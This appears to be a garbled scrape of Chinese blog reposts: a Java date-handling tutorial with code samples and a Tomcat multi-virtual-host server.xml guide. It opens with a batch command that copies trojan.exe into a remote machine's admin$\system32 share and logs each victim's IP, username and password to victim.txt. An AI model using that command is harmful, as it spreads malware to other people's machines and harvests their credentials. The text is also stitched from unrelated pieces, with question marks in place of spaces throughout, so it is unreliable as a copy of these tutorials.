          組合命令使用的例子:
          sample:
          @copy?trojan.exe?\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PASS?%3?>>victim.txt

          Java中一些關于日期、日期格式、日期的解析和日期的計算
          ?轉貼??

          Java?語言的Calendar(日歷),Date(日期),?和DateFormat(日期格式)組成了Java標準的一個基本但是非常重要的部分.?日期是商業邏輯計算一個關鍵的部分.?所有的開發者都應該能夠計算未來的日期,?定制日期的顯示格式,?并將文本數據解析成日期對象.?我們寫了兩篇文章,?這是第一篇,?我們將大概的學習日期,?日期格式,?日期的解析和日期的計算.?

          我們將討論下面的類:?

          1、具體類(和抽象類相對)java.util.Date?
          2、抽象類java.text.DateFormat?和它的一個具體子類,java.text.SimpleDateFormat?
          3、抽象類java.util.Calendar?和它的一個具體子類,java.util.GregorianCalendar?

          具體類可以被實例化,?但是抽象類卻不能.?你首先必須實現抽象類的一個具體子類.?

          Date?類從Java?開發包(JDK)?1.0?就開始進化,?當時它只包含了幾個取得或者設置一個日期數據的各個部分的方法,?比如說月,?日,?和年.?這些方法現在遭到了批評并且已經被轉移到了Calendar類里去了,?我們將在本文中進一步討論它.?這種改進旨在更好的處理日期數據的國際化格式.?就象在JDK?1.1中一樣,?Date?類實際上只是一個包裹類,?它包含的是一個長整型數據,?表示的是從GMT(格林尼治標準時間)1970年,?1?月?1日00:00:00這一刻之前或者是之后經歷的毫秒數.?

          一、創建一個日期對象?

          讓我們看一個使用系統的當前日期和時間創建一個日期對象并返回一個長整數的簡單例子.?這個時間通常被稱為Java?虛擬機(JVM)主機環境的系統時間.?
          //------------------------------------------------------
          import?java.util.Date;?

          public?class?DateExample1?
          {?
          public?static?void?main(String[]?args)
          {?
          //?Get?the?system?date/time?
          Date?date?=?new?Date();?

          System.out.println(date.getTime());?
          }?
          }?
          //------------------------------------------------------

          在星期六,?2001年9月29日,?下午大約是6:50的樣子,?上面的例子在系統輸出設備上顯示的結果是?1001803809710.?在這個例子中,值得注意的是我們使用了Date?構造函數創建一個日期對象,?這個構造函數沒有接受任何參數.?而這個構造函數在內部使用了System.currentTimeMillis()?方法來從系統獲取日期.?

          那么,?現在我們已經知道了如何獲取從1970年1月1日開始經歷的毫秒數了.?我們如何才能以一種用戶明白的格式來顯示這個日期呢??在這里類java.text.SimpleDateFormat?和它的抽象基類?java.text.DateFormat?就派得上用場了.?

          二、日期數據的定制格式?

          假如我們希望定制日期數據的格式,?比方星期六-9月-29日-2001年.?下面的例子展示了如何完成這個工作:?

          //------------------------------------------------------
          import?java.text.SimpleDateFormat;?
          import?java.util.Date;?

          public?class?DateExample2?
          {?

          public?static?void?main(String[]?args)?
          {?

          SimpleDateFormat?bartDateFormat?=?
          new?SimpleDateFormat("EEEE-MMMM-dd-yyyy");?

          Date?date?=?new?Date();?

          System.out.println(bartDateFormat.format(date));?
          }?
          }?
          //------------------------------------------------------

          只要通過向SimpleDateFormat?的構造函數傳遞格式字符串"EEE-MMMM-dd-yyyy",?我們就能夠指明自己想要的格式.?你應該可以看見,?格式字符串中的ASCII?字符告訴格式化函數下面顯示日期數據的哪一個部分.?EEEE是星期,?MMMM是月,?dd是日,?yyyy是年.?字符的個數決定了日期是如何格式化的.傳遞"EE-MM-dd-yy"會顯示?Sat-09-29-01.?請察看Sun?公司的Web?站點獲取日期格式化選項的完整的指示.

          三、將文本數據解析成日期對象?

          假設我們有一個文本字符串包含了一個格式化了的日期對象,?而我們希望解析這個字符串并從文本日期數據創建一個日期對象.?我們將再次以格式化字符串"MM-dd-yyyy"?調用SimpleDateFormat類,?但是這一次,?我們使用格式化解析而不是生成一個文本日期數據.?我們的例子,?顯示在下面,?將解析文本字符串"9-29-2001"并創建一個值為001736000000?的日期對象.?

          //------------------------------------------------------
          import?java.text.SimpleDateFormat;?
          import?java.util.Date;?

          public?class?DateExample3?
          {?

          public?static?void?main(String[]?args)?
          {?
          //?Create?a?date?formatter?that?can?parse?dates?of?
          //?the?form?MM-dd-yyyy.?
          SimpleDateFormat?bartDateFormat?=?
          new?SimpleDateFormat("MM-dd-yyyy");?

          //?Create?a?string?containing?a?text?date?to?be?parsed.?
          String?dateStringToParse?=?"9-29-2001";?

          try?{?
          //?Parse?the?text?version?of?the?date.?
          //?We?have?to?perform?the?parse?method?in?a?
          //?try-catch?construct?in?case?dateStringToParse?
          //?does?not?contain?a?date?in?the?format?we?are?expecting.?
          Date?date?=?bartDateFormat.parse(dateStringToParse);?

          //?Now?send?the?parsed?date?as?a?long?value?
          //?to?the?system?output.?
          System.out.println(date.getTime());?
          }?
          catch?(Exception?ex)?{?
          System.out.println(ex.getMessage());?
          }?
          }?
          }?
          //------------------------------------------------------

          四、使用標準的日期格式化過程?

          既然我們已經可以生成和解析定制的日期格式了,?讓我們來看一看如何使用內建的格式化過程.?方法?DateFormat.getDateTimeInstance()?讓我們得以用幾種不同的方法獲得標準的日期格式化過程.?在下面的例子中,?我們獲取了四個內建的日期格式化過程.?它們包括一個短的,?中等的,?長的,?和完整的日期格式.?

          //------------------------------------------------------
          import?java.text.DateFormat;?
          import?java.util.Date;?

          public?class?DateExample4?
          {?

          public?static?void?main(String[]?args)?
          {?
          Date?date?=?new?Date();?

          DateFormat?shortDateFormat?=?
          DateFormat.getDateTimeInstance(?
          DateFormat.SHORT,?
          DateFormat.SHORT);?

          DateFormat?mediumDateFormat?=?
          DateFormat.getDateTimeInstance(?
          DateFormat.MEDIUM,?
          DateFormat.MEDIUM);?

          DateFormat?longDateFormat?=?
          DateFormat.getDateTimeInstance(?
          DateFormat.LONG,?
          DateFormat.LONG);?

          DateFormat?fullDateFormat?=?
          DateFormat.getDateTimeInstance(?
          DateFormat.FULL,?
          DateFormat.FULL);?

          System.out.println(shortDateFormat.format(date));?
          System.out.println(mediumDateFormat.format(date));?
          System.out.println(longDateFormat.format(date));?
          System.out.println(fullDateFormat.format(date));?
          }?
          }?
          //------------------------------------------------------

          注意我們在對?getDateTimeInstance的每次調用中都傳遞了兩個值.?第一個參數是日期風格,?而第二個參數是時間風格.?它們都是基本數據類型int(整型).?考慮到可讀性,?我們使用了DateFormat?類提供的常量:?SHORT,?MEDIUM,?LONG,?和?FULL.?要知道獲取時間和日期格式化過程的更多的方法和選項,?請看Sun?公司Web?站點上的解釋.?

          運行我們的例子程序的時候,?它將向標準輸出設備輸出下面的內容:?
          9/29/01?8:44?PM?
          Sep?29,?2001?8:44:45?PM?
          September?29,?2001?8:44:45?PM?EDT?
          Saturday,?September?29,?2001?8:44:45?PM?EDT

          五、Calendar?類?

          我們現在已經能夠格式化并創建一個日期對象了,?但是我們如何才能設置和獲取日期數據的特定部分呢,?比如說小時,?日,?或者分鐘??我們又如何在日期的這些部分加上或者減去值呢??答案是使用Calendar?類.?就如我們前面提到的那樣,?Calendar?類中的方法替代了Date?類中被人唾罵的方法.?

          假設你想要設置,?獲取,?和操縱一個日期對象的各個部分,?比方一個月的一天或者是一個星期的一天.?為了演示這個過程,?我們將使用具體的子類?java.util.GregorianCalendar.?考慮下面的例子,?它計算得到下面的第十個星期五是13號.?

          //------------------------------------------------------
          import?java.util.GregorianCalendar;?
          import?java.util.Date;?
          import?java.text.DateFormat;?

          public?class?DateExample5?
          {?

          public?static?void?main(String[]?args)?
          {?
          DateFormat?dateFormat?=?DateFormat.getDateInstance(DateFormat.FULL);?

          //?Create?our?Gregorian?Calendar.?
          GregorianCalendar?cal?=?new?GregorianCalendar();?

          //?Set?the?date?and?time?of?our?calendar?
          //?to?the?system&s?date?and?time?
          cal.setTime(new?Date());?

          System.out.println("System?Date:?"?+?
          dateFormat.format(cal.getTime()));?

          //?Set?the?day?of?week?to?FRIDAY?
          cal.set(GregorianCalendar.DAY_OF_WEEK,?
          GregorianCalendar.FRIDAY);?
          System.out.println("After?Setting?Day?of?Week?to?Friday:?"?+?
          dateFormat.format(cal.getTime()));?

          int?friday13Counter?=?0;?

          while?(friday13Counter?<=?10)?
          {?

          //?Go?to?the?next?Friday?by?adding?7?days.?
          cal.add(GregorianCalendar.DAY_OF_MONTH,?7);?

          //?If?the?day?of?month?is?13?we?have?
          //?another?Friday?the?13th.?
          if?(cal.get(GregorianCalendar.DAY_OF_MONTH)?==?13)?
          {?
          friday13Counter++;?
          System.out.println(dateFormat.format(cal.getTime()));?
          }?
          }?
          }?
          }?
          //------------------------------------------------------

          在這個例子中我們作了有趣的函數調用:?
          cal.set(GregorianCalendar.DAY_OF_WEEK,?
          GregorianCalendar.FRIDAY);?

          和:?
          cal.add(GregorianCalendar.DAY_OF_MONTH,?7);?

          set?方法能夠讓我們通過簡單的設置星期中的哪一天這個域來將我們的時間調整為星期五.?注意到這里我們使用了常量?DAY_OF_WEEK?和?FRIDAY來增強代碼的可讀性.?add?方法讓我們能夠在日期上加上數值.?潤年的所有復雜的計算都由這個方法自動處理.?

          我們這個例子的輸出結果是:?
          System?Date:?Saturday,?September?29,?2001?
          當我們將它設置成星期五以后就成了:?Friday,?September?28,?2001?
          Friday,?September?13,?2002?
          Friday,?December?13,?2002?
          Friday,?June?13,?2003?
          Friday,?February?13,?2004?
          Friday,?August?13,?2004?
          Friday,?May?13,?2005?
          Friday,?January?13,?2006?
          Friday,?October?13,?2006?
          Friday,?April?13,?2007?
          Friday,?July?13,?2007?
          Friday,?June?13,?2008?

          六、時間掌握在你的手里?

          有了這些Date?和Calendar?類的例子,?你應該能夠使用?java.util.Date,?java.text.SimpleDateFormat,?和?java.util.GregorianCalendar?創建許多方法了.?
          TomCat?多虛擬站點配置
          轉貼

            在網絡上找了許久,沒有一個真正可以解決TomCat多虛擬站點的配置問題的,經過試驗和參考官方網站資料,終于解決了這個問題.
            參考資料:Apache?Tomcat文檔http://tomcat.apache.org/tomcat-5.0-doc/config/host.html

            在文中有這么一段話:
            One?or?more?Host?elements?are?nested?inside?an?Engine?element.?Inside?the?Host?element,?you?can?nest?Context?elements?for?the?web?applications?associated?with?this?virtual?host.?Exactly?one?of?the?Hosts?associated?with?each?Engine?MUST?have?a?name?matching?the?defaultHost?attribute?of?that?Engine.

            譯文:Engine元素中需要一個或多個Host元素,在Host元素里面,你必需有Context元素讓網站應用程序與虛擬主機連接上,嚴密地說,每一個主機所關聯的引擎必須有一個名字跟那個引擎默認的主機屬性匹配?.
            可知,在Engine元素里面可以有多個Host,那么說,可以有在一個Engine里面設置多個服務器了,這正是我們需要的.每個Host元素里面要有一個Context元素.
            根據conf\server.xml里面的說明和范例,我樣可以編寫出下面一個配置文件:
          ????我把配置文件全部粘出來了,但大部分都是默認的,還有注釋部分。大可不理,只修改了幾部分,后面都有說明!

          ??1<!--?Example?Server?Configuration?File?-->
          ??2<!--?Note?that?component?elements?are?nested?corresponding?to?their
          ??3?????parent-child?relationships?with?each?other?-->
          ??4
          ??5<!--?A?"Server"?is?a?singleton?element?that?represents?the?entire?JVM,
          ??6?????which?may?contain?one?or?more?"Service"?instances.??The?Server
          ??7?????listens?for?a?shutdown?command?on?the?indicated?port.
          ??8
          ??9?????Note:??A?"Server"?is?not?itself?a?"Container",?so?you?may?not
          ?10?????define?subcomponents?such?as?"Valves"?or?"Loggers"?at?this?level.
          ?11?-->
          ?12
          ?13<Server?port="8005"?shutdown="SHUTDOWN">
          ?14
          ?15??<!--?Comment?these?entries?out?to?disable?JMX?MBeans?support?used?for?the
          ?16???????administration?web?application?-->
          ?17??<Listener?className="org.apache.catalina.core.AprLifecycleListener"?/>
          ?18??<Listener?className="org.apache.catalina.mbeans.ServerLifecycleListener"?/>
          ?19??<Listener?className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"?/>
          ?20??<Listener?className="org.apache.catalina.storeconfig.StoreConfigLifecycleListener"/>
          ?21
          ?22??<!--?Global?JNDI?resources?-->
          ?23??<GlobalNamingResources>
          ?24
          ?25????<!--?Test?entry?for?demonstration?purposes?-->
          ?26????<Environment?name="simpleValue"?type="java.lang.Integer"?value="30"/>
          ?27
          ?28????<!--?Editable?user?database?that?can?also?be?used?by
          ?29?????????UserDatabaseRealm?to?authenticate?users?-->
          ?30????<Resource?name="UserDatabase"?auth="Container"
          ?31??????????????type="org.apache.catalina.UserDatabase"
          ?32???????description="User?database?that?can?be?updated?and?saved"
          ?33???????????factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
          ?34??????????pathname="conf/tomcat-users.xml"?/>
          ?35
          ?36??</GlobalNamingResources>
          ?37
          ?38??<!--?A?"Service"?is?a?collection?of?one?or?more?"Connectors"?that?share
          ?39???????a?single?"Container"?(and?therefore?the?web?applications?visible
          ?40???????within?that?Container).??Normally,?that?Container?is?an?"Engine",
          ?41???????but?this?is?not?required.
          ?42
          ?43???????Note:??A?"Service"?is?not?itself?a?"Container",?so?you?may?not
          ?44???????define?subcomponents?such?as?"Valves"?or?"Loggers"?at?this?level.
          ?45???-->
          ?46
          ?47??<!--?Define?the?Tomcat?Stand-Alone?Service?-->
          ?48??<Service?name="Catalina">
          ?49
          ?50????<!--?A?"Connector"?represents?an?endpoint?by?which?requests?are?received
          ?51?????????and?responses?are?returned.??Each?Connector?passes?requests?on?to?the
          ?52?????????associated?"Container"?(normally?an?Engine)?for?processing.
          ?53
          ?54?????????By?default,?a?non-SSL?HTTP/1.1?Connector?is?established?on?port?8080.
          ?55?????????You?can?also?enable?an?SSL?HTTP/1.1?Connector?on?port?8443?by
          ?56?????????following?the?instructions?below?and?uncommenting?the?second?Connector
          ?57?????????entry.??SSL?support?requires?the?following?steps?(see?the?SSL?Config
          ?58?????????HOWTO?in?the?Tomcat?5?documentation?bundle?for?more?detailed
          ?59?????????instructions):
          ?60?????????*?If?your?JDK?version?1.3?or?prior,?download?and?install?JSSE?1.0.2?or
          ?61???????????later,?and?put?the?JAR?files?into?"$JAVA_HOME/jre/lib/ext".
          ?62?????????*?Execute:
          ?63?????????????%JAVA_HOME%\bin\keytool?-genkey?-alias?tomcat?-keyalg?RSA?(Windows)
          ?64?????????????$JAVA_HOME/bin/keytool?-genkey?-alias?tomcat?-keyalg?RSA??(Unix)
          ?65???????????with?a?password?value?of?"changeit"?for?both?the?certificate?and
          ?66???????????the?keystore?itself.
          ?67
          ?68?????????By?default,?DNS?lookups?are?enabled?when?a?web?application?calls
          ?69?????????request.getRemoteHost().??This?can?have?an?adverse?impact?on
          ?70?????????performance,?so?you?can?disable?it?by?setting?the
          ?71?????????"enableLookups"?attribute?to?"false".??When?DNS?lookups?are?disabled,
          ?72?????????request.getRemoteHost()?will?return?the?String?version?of?the
          ?73?????????IP?address?of?the?remote?client.
          ?74????-->
          ?75
          ?76????<!--?Define?a?non-SSL?HTTP/1.1?Connector?on?port?8080?-->
          ?77????<Connector
          ?78port="80"???????????????maxHttpHeaderSize="8192"
          ?79???????????????maxThreads="150"?minSpareThreads="25"?maxSpareThreads="75"
          ?80???????????????enableLookups="false"?redirectPort="8443"?acceptCount="100"
          ?81???????????????connectionTimeout="20000"?disableUploadTimeout="true"??URIEncoding="GB2312"/>
          ?82????<!--?Note?:?To?disable?connection?timeouts,?set?connectionTimeout?value
          ?83?????to?0?-->
          ?84
          ?85????<!--?Note?:?To?use?gzip?compression?you?could?set?the?following?properties?:
          ?86
          ?87???????????????compression="on"
          ?88???????????????compressionMinSize="2048"
          ?89???????????????noCompressionUserAgents="gozilla,?traviata"
          ?90???????????????compressableMimeType="text/html,text/xml"
          ?91????-->
          ?92
          ?93????<!--?Define?a?SSL?HTTP/1.1?Connector?on?port?8443?-->
          ?94????<!--
          ?95????<Connector?port="8443"?maxHttpHeaderSize="8192"
          ?96???????????????maxThreads="150"?minSpareThreads="25"?maxSpareThreads="75"
          ?97???????????????enableLookups="false"?disableUploadTimeout="true"
          ?98???????????????acceptCount="100"?scheme="https"?secure="true"
          ?99???????????????clientAuth="false"?sslProtocol="TLS"?/>
          100????-->
          101
          102????<!--?Define?an?AJP?1.3?Connector?on?port?8009?-->
          103????<Connector?port="8009"
          104???????????????enableLookups="false"?redirectPort="8443"?protocol="AJP/1.3"?/>
          105
          106????<!--?Define?a?Proxied?HTTP/1.1?Connector?on?port?8082?-->
          107????<!--?See?proxy?documentation?for?more?information?about?using?this.?-->
          108????<!--
          109????<Connector?port="8082"
          110???????????????maxThreads="150"?minSpareThreads="25"?maxSpareThreads="75"
          111???????????????enableLookups="false"?acceptCount="100"?connectionTimeout="20000"
          112???????????????proxyPort="80"?disableUploadTimeout="true"?/>
          113????-->
          114
          115????<!--?An?Engine?represents?the?entry?point?(within?Catalina)?that?processes
          116?????????every?request.??The?Engine?implementation?for?Tomcat?stand?alone
          117?????????analyzes?the?HTTP?headers?included?with?the?request,?and?passes?them
          118?????????on?to?the?appropriate?Host?(virtual?host).?-->
          119
          120????<!--?You?should?set?jvmRoute?to?support?load-balancing?via?AJP?ie?:
          121????<Engine?name="Standalone"?defaultHost="localhost"?jvmRoute="jvm1">
          122????-->
          123
          124????<!--?Define?the?top?level?container?in?our?container?hierarchy?-->
          125????<Engine?name="Catalina"?defaultHost="ycoe.vicp.net">
          126
          127??????<!--?The?request?dumper?valve?dumps?useful?debugging?information?about
          128???????????the?request?headers?and?cookies?that?were?received,?and?the?response
          129???????????headers?and?cookies?that?were?sent,?for?all?requests?received?by
          130???????????this?instance?of?Tomcat.??If?you?care?only?about?requests?to?a
          131???????????particular?virtual?host,?or?a?particular?application,?nest?this
          132???????????element?inside?the?corresponding?<Host>?or?<Context>?entry?instead.
          133
          134???????????For?a?similar?mechanism?that?is?portable?to?all?Servlet?2.4
          135???????????containers,?check?out?the?"RequestDumperFilter"?Filter?in?the
          136???????????example?application?(the?source?for?this?filter?may?be?found?in
          137???????????"$CATALINA_HOME/webapps/examples/WEB-INF/classes/filters").
          138
          139???????????Request?dumping?is?disabled?by?default.??Uncomment?the?following
          140???????????element?to?enable?it.?-->
          141??????<!--
          142??????<Valve?className="org.apache.catalina.valves.RequestDumperValve"/>
          143??????-->
          144
          145??????<!--?Because?this?Realm?is?here,?an?instance?will?be?shared?globally?-->
          146
          147??????<!--?This?Realm?uses?the?UserDatabase?configured?in?the?global?JNDI
          148???????????resources?under?the?key?"UserDatabase".??Any?edits
          149???????????that?are?performed?against?this?UserDatabase?are?immediately
          150???????????available?for?use?by?the?Realm.??-->
          151??????<Realm?className="org.apache.catalina.realm.UserDatabaseRealm"
          152?????????????resourceName="UserDatabase"/>
          153
          154??????<!--?Comment?out?the?old?realm?but?leave?here?for?now?in?case?we
          155???????????need?to?go?back?quickly?-->
          156??????<!--
          157??????<Realm?className="org.apache.catalina.realm.MemoryRealm"?/>
          158??????-->
          159
          160??????<!--?Replace?the?above?Realm?with?one?of?the?following?to?get?a?Realm
          161???????????stored?in?a?database?and?accessed?via?JDBC?-->
          162
          163??????<!--
          164??????<Realm??className="org.apache.catalina.realm.JDBCRealm"
          165?????????????driverName="org.gjt.mm.mysql.Driver"
          166??????????connectionURL="jdbc:mysql://localhost/authority"
          167?????????connectionName="test"?connectionPassword="test"
          168??????????????userTable="users"?userNameCol="user_name"?userCredCol="user_pass"
          169??????????userRoleTable="user_roles"?roleNameCol="role_name"?/>
          170??????-->
          171
          172??????<!--
          173??????<Realm??className="org.apache.catalina.realm.JDBCRealm"
          174?????????????driverName="oracle.jdbc.driver.OracleDriver"
          175??????????connectionURL="jdbc:oracle:thin:@ntserver:1521:ORCL"
          176?????????connectionName="scott"?connectionPassword="tiger"
          177??????????????userTable="users"?userNameCol="user_name"?userCredCol="user_pass"
          178??????????userRoleTable="user_roles"?roleNameCol="role_name"?/>
          179??????-->
          180
          181??????<!--
          182??????<Realm??className="org.apache.catalina.realm.JDBCRealm"
          183?????????????driverName="sun.jdbc.odbc.JdbcOdbcDriver"
          184??????????connectionURL="jdbc:odbc:CATALINA"
          185??????????????userTable="users"?userNameCol="user_name"?userCredCol="user_pass"
          186??????????userRoleTable="user_roles"?roleNameCol="role_name"?/>
          187??????-->
          188
          189??????<!--?Define?the?default?virtual?host
          190???????????Note:?XML?Schema?validation?will?not?work?with?Xerces?2.2.
          191???????-->
          192??????<Host?name="ycoe.vicp.net"?appBase="webapps"
          193???????unpackWARs="true"?autoDeploy="true"
          194???????xmlValidation="false"?xmlNamespaceAware="false">
          195
          196????????<!--?Defines?a?cluster?for?this?node,
          197?????????????By?defining?this?element,?means?that?every?manager?will?be?changed.
          198?????????????So?when?running?a?cluster,?only?make?sure?that?you?have?webapps?in?there
          199?????????????that?need?to?be?clustered?and?remove?the?other?ones.
          200?????????????A?cluster?has?the?following?parameters:
          201
          202?????????????className?=?the?fully?qualified?name?of?the?cluster?class
          203
          204?????????????name?=?a?descriptive?name?for?your?cluster,?can?be?anything
          205
          206?????????????mcastAddr?=?the?multicast?address,?has?to?be?the?same?for?all?the?nodes
          207
          208?????????????mcastPort?=?the?multicast?port,?has?to?be?the?same?for?all?the?nodes
          209
          210?????????????mcastBindAddr?=?bind?the?multicast?socket?to?a?specific?address
          211
          212?????????????mcastTTL?=?the?multicast?TTL?if?you?want?to?limit?your?broadcast
          213
          214?????????????mcastSoTimeout?=?the?multicast?readtimeout
          215
          216?????????????mcastFrequency?=?the?number?of?milliseconds?in?between?sending?a?"I'm?alive"?heartbeat
          217
          218?????????????mcastDropTime?=?the?number?a?milliseconds?before?a?node?is?considered?"dead"?if?no?heartbeat?is?received
          219
          220?????????????tcpThreadCount?=?the?number?of?threads?to?handle?incoming?replication?requests,?optimal?would?be?the?same?
          amount?of?threads?as?nodes
          221
          222?????????????tcpListenAddress?=?the?listen?address?(bind?address)?for?TCP?cluster?request?on?this?host,
          223????????????????????????????????in?case?of?multiple?ethernet?cards.
          224????????????????????????????????auto?means?that?address?becomes
          225????????????????????????????????InetAddress.getLocalHost().getHostAddress()
          226
          227?????????????tcpListenPort?=?the?tcp?listen?port
          228
          229?????????????tcpSelectorTimeout?=?the?timeout?(ms)?for?the?Selector.select()?method?in?case?the?OS
          230??????????????????????????????????has?a?wakup?bug?in?java.nio.?Set?to?0?for?no?timeout
          231
          232?????????????printToScreen?=?true?means?that?managers?will?also?print?to?std.out
          233
          234?????????????expireSessionsOnShutdown?=?true?means?that
          235
          236?????????????useDirtyFlag?=?true?means?that?we?only?replicate?a?session?after?setAttribute,removeAttribute?has?been?called.
          237????????????????????????????false?means?to?replicate?the?session?after?each?request.
          238????????????????????????????false?means?that?replication?would?work?for?the?following?piece?of?code:?(only?for?SimpleTcpReplicationManager)
          239????????????????????????????<%
          240????????????????????????????HashMap?map?=?(HashMap)session.getAttribute("map");
          241????????????????????????????map.put("key","value");
          242????????????????????????????%>
          243?????????????replicationMode?=?can?be?either?'pooled',?'synchronous'?or?'asynchronous'.
          244???????????????????????????????*?Pooled?means?that?the?replication?happens?using?several?sockets?in?a?synchronous?way.?Ie,?
          the?data?gets?replicated,?then?the?request?return.?This?is?the?same?as?the?'synchronous'?setting?except?it?uses?a?pool?of?sockets,?
          hence?it?is?multithreaded.?This?is?the?fastest?and?safest?configuration.?To?use?this,?also?increase?the?nr?of?tcp?threads?
          that?you?have?dealing?with?replication.
          245???????????????????????????????*?Synchronous?means?that?the?thread?that?executes?the?request,?is?also?the
          246???????????????????????????????thread?the?replicates?the?data?to?the?other?nodes,?and?will?not?return?until?all
          247???????????????????????????????nodes?have?received?the?information.
          248???????????????????????????????*?Asynchronous?means?that?there?is?a?specific?'sender'?thread?for?each?cluster?node,
          249???????????????????????????????so?the?request?thread?will?queue?the?replication?request?into?a?"smart"?queue,
          250???????????????????????????????and?then?return?to?the?client.
          251???????????????????????????????The?"smart"?queue?is?a?queue?where?when?a?session?is?added?to?the?queue,?and?the?same?session
          252???????????????????????????????already?exists?in?the?queue?from?a?previous?request,?that?session?will?be?replaced
          253???????????????????????????????in?the?queue?instead?of?replicating?two?requests.?This?almost?never?happens,?unless?there?is?a
          254???????????????????????????????large?network?delay.
          255????????-->
          256????????<!--
          257????????????When?configuring?for?clustering,?you?also?add?in?a?valve?to?catch?all?the?requests
          258????????????coming?in,?at?the?end?of?the?request,?the?session?may?or?may?not?be?replicated.
          259????????????A?session?is?replicated?if?and?only?if?all?the?conditions?are?met:
          260????????????1.?useDirtyFlag?is?true?or?setAttribute?or?removeAttribute?has?been?called?AND
          261????????????2.?a?session?exists?(has?been?created)
          262????????????3.?the?request?is?not?trapped?by?the?"filter"?attribute
          263
          264????????????The?filter?attribute?is?to?filter?out?requests?that?could?not?modify?the?session,
          265????????????hence?we?don't?replicate?the?session?after?the?end?of?this?request.
          266????????????The?filter?is?negative,?ie,?anything?you?put?in?the?filter,?you?mean?to?filter?out,
          267????????????ie,?no?replication?will?be?done?on?requests?that?match?one?of?the?filters.
          268????????????The?filter?attribute?is?delimited?by?;,?so?you?can't?escape?out?;?even?if?you?wanted?to.
          269
          270????????????filter=".*\.gif;.*\.js;"?means?that?we?will?not?replicate?the?session?after?requests?with?the?URI
          271????????????ending?with?.gif?and?.js?are?intercepted.
          272
          273????????????The?deployer?element?can?be?used?to?deploy?apps?cluster?wide.
          274????????????Currently?the?deployment?only?deploys/undeploys?to?working?members?in?the?cluster
          275????????????so?no?WARs?are?copied?upons?startup?of?a?broken?node.
          276????????????The?deployer?watches?a?directory?(watchDir)?for?WAR?files?when?watchEnabled="true"
          277????????????When?a?new?war?file?is?added?the?war?gets?deployed?to?the?local?instance,
          278????????????and?then?deployed?to?the?other?instances?in?the?cluster.
          279????????????When?a?war?file?is?deleted?from?the?watchDir?the?war?is?undeployed?locally
          280????????????and?cluster?wide
          281????????-->
          282
          283????????<!--
          284????????<Cluster?className="org.apache.catalina.cluster.tcp.SimpleTcpCluster"
          285?????????????????managerClassName="org.apache.catalina.cluster.session.DeltaManager"
          286?????????????????expireSessionsOnShutdown="false"
          287?????????????????useDirtyFlag="true"
          288?????????????????notifyListenersOnReplication="true">
          289
          290????????????<Membership
          291????????????????className="org.apache.catalina.cluster.mcast.McastService"
          292????????????????mcastAddr="228.0.0.4"
          293????????????????mcastPort="45564"
          294????????????????mcastFrequency="500"
          295????????????????mcastDropTime="3000"/>
          296
          297????????????<Receiver
          298????????????????className="org.apache.catalina.cluster.tcp.ReplicationListener"
          299????????????????tcpListenAddress="auto"
          300????????????????tcpListenPort="4001"
          301????????????????tcpSelectorTimeout="100"
          302????????????????tcpThreadCount="6"/>
          303
          304????????????<Sender
          305????????????????className="org.apache.catalina.cluster.tcp.ReplicationTransmitter"
          306????????????????replicationMode="pooled"
          307????????????????ackTimeout="15000"/>
          308
          309????????????<Valve?className="org.apache.catalina.cluster.tcp.ReplicationValve"
          310???????????????????filter=".*\.gif;.*\.js;.*\.jpg;.*\.htm;.*\.html;.*\.txt;"/>
          311
          312????????????<Deployer?className="org.apache.catalina.cluster.deploy.FarmWarDeployer"
          313??????????????????????tempDir="/tmp/war-temp/"
          314??????????????????????deployDir="/tmp/war-deploy/"
          315??????????????????????watchDir="/tmp/war-listen/"
          316??????????????????????watchEnabled="false"/>
          317????????</Cluster>
          318????????-->
          319
          320
          321
          322????????<!--?Normally,?users?must?authenticate?themselves?to?each?web?app
          323?????????????individually.??Uncomment?the?following?entry?if?you?would?like
          324?????????????a?user?to?be?authenticated?the?first?time?they?encounter?a
          325?????????????resource?protected?by?a?security?constraint,?and?then?have?that
          326?????????????user?identity?maintained?across?*all*?web?applications?contained
          327?????????????in?this?virtual?host.?-->
          328????????<!--
          329????????<Valve?className="org.apache.catalina.authenticator.SingleSignOn"?/>
          330????????-->
          331
          332????????<!--?Access?log?processes?all?requests?for?this?virtual?host.??By
          333?????????????default,?log?files?are?created?in?the?"logs"?directory?relative?to
          334?????????????$CATALINA_HOME.??If?you?wish,?you?can?specify?a?different
          335?????????????directory?with?the?"directory"?attribute.??Specify?either?a?relative
          336?????????????(to?$CATALINA_HOME)?or?absolute?path?to?the?desired?directory.
          337????????-->
          338????????<!--
          339????????<Valve?className="org.apache.catalina.valves.AccessLogValve"
          340?????????????????directory="logs"??prefix="localhost_access_log."?suffix=".txt"
          341?????????????????pattern="common"?resolveHosts="false"/>
          342????????-->
          343
          344????????<!--?Access?log?processes?all?requests?for?this?virtual?host.??By
          345?????????????default,?log?files?are?created?in?the?"logs"?directory?relative?to
          346?????????????$CATALINA_HOME.??If?you?wish,?you?can?specify?a?different
          347?????????????directory?with?the?"directory"?attribute.??Specify?either?a?relative
          348?????????????(to?$CATALINA_HOME)?or?absolute?path?to?the?desired?directory.
          349?????????????This?access?log?implementation?is?optimized?for?maximum?performance,
          350?????????????but?is?hardcoded?to?support?only?the?"common"?and?"combined"?patterns.
          351????????-->
          352????????<!--
          353????????<Valve?className="org.apache.catalina.valves.FastCommonAccessLogValve"
          354?????????????????directory="logs"??prefix="localhost_access_log."?suffix=".txt"
          355?????????????????pattern="common"?resolveHosts="false"/>
          356????????-->
          357????<Context?docBase="D:\WORKS\EShop\EWebShop"?path="/"?reloadable="true"?
          ????????????????workDir="D:\WORKS\EShop\Tomcat\work\EWebShop">
          358????</Context>
          359??????</Host>????
          360<Host?name="yvor.vicp.net"?appBase="webapps"unpackWARs="true"?autoDeploy="true"xmlValidation="false"?
          ????????????????xmlNamespaceAware="false">
          361????<Context?docBase="D:\WORKS\YCOE\ycoe"?path="/"?reloadable="true"?workDir="D:\WORKS\YCOE\Tomcat\work\ycoe">
          362????</Context>
          363??????</Host>
          364????</Engine>
          365??</Service>
          366</Server>
          367
          368
            可以看到,這里修改了
            81行修改了兩個參數值:<Connector?port="80"?maxHttpHeaderSize="8192"
          ????????????????maxThreads="150"?minSpareThreads="25"?maxSpareThreads="75"
          ????????????????enableLookups="false"?redirectPort="8443"?acceptCount="100"
          ????????????????connectionTimeout="20000"?disableUploadTimeout="true"??URIEncoding="GB2312"/>
          ????????  修改port是修改Tomcat的服務端口,默認為8080,URIEncoding改為GB2312是為了使用中文路徑
              但不建議使用.

